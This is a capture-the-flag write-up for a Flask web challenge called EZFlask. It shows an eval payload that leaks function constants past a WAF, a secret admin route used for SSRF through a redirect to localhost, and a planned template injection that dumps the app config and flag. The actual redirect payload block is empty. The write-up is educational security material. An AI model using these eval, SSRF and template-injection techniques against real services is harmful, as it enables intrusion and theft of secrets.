Rating: 1.0

# EZFlask

## Index page

```py
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick

@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
```

## Solution

Here we can send values to the `/eval` endpoint and execute arbitrary python commands, but we also have a `waf` filter.
In eval values we can not use symbols `(){}[]`, some words :`__class__` and etc.

So, to get some `tricks` and `hints` from the `ctf` function we can use function object's attributes like `.__code__.co_consts` and `.__code__.co_names`. Let’s look to the result:

**request:**
```
POST /eval HTTP/1.1
Host: 124.70.206.91:10000
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

eval=ctf.__code__.co_consts
```

**result:**
```
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf', 'too young too simple')
```

And for the payload `admin.__code__.co_names`:
```
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')
```

Now we know the admin route: `/h4rdt0f1nd_9792uagcaca00qjaf`.

The answer from the server by this route;
```
post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path
```

But, when we made a request to the `127.0.0.1` and port `5000` we got the error message: `hacker?`.

So, we understand that we can’t make requests to localhost. But we saw that the admin handler uses the `requests` library. That means that we can use location redirect to redirect the request on localhost.

Let’s create the request to our server and redirect the request to `127.0.0.1:5000` and we got the answer:
```
import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
```

Now we only need to send payload with template injection attack and get the `flag` from flask config.

Redirect looks like:
```

```

The answer is:
```

[("JSON_AS_ASCII", True), ("USE_X_SENDFILE", False), ("SESSION_COOKIE_SECURE", False), ("SESSION_COOKIE_PATH", None), ("SESSION_COOKIE_DOMAIN", None), ("SESSION_COOKIE_NAME", "session"), ("MAX_COOKIE_SIZE", 4093), ("SESSION_COOKIE_SAMESITE", None), ("PROPAGATE_EXCEPTIONS", None), ("ENV", "production"), ("DEBUG", False), ("SECRET_KEY", None), ("EXPLAIN_TEMPLATE_LOADING", False), ("MAX_CONTENT_LENGTH", None), ("APPLICATION_ROOT", "/"), ("SERVER_NAME", None), ("FLAG", "GACTF{wuhUwuHu_a1rpl4n3}"), ("PREFERRED_URL_SCHEME", "http"), ("JSONIFY_PRETTYPRINT_REGULAR", False), ("TESTING", False), ("PERMANENT_SESSION_LIFETIME", datetime.timedelta(31)), ("TEMPLATES_AUTO_RELOAD", None), ("TRAP_BAD_REQUEST_ERRORS", None), ("JSON_SORT_KEYS", True), ("JSONIFY_MIMETYPE", "application/json"), ("SESSION_COOKIE_HTTPONLY", True), ("SEND_FILE_MAX_AGE_DEFAULT", datetime.timedelta(0, 43200)), ("PRESERVE_CONTEXT_ON_EXCEPTION", None), ("SESSION_REFRESH_EACH_REQUEST", True), ("TRAP_HTTP_EXCEPTIONS", False)]
```

Original writeup (https://github.com/empty-jack/ctf-writeups/tree/master/GACTF-2020).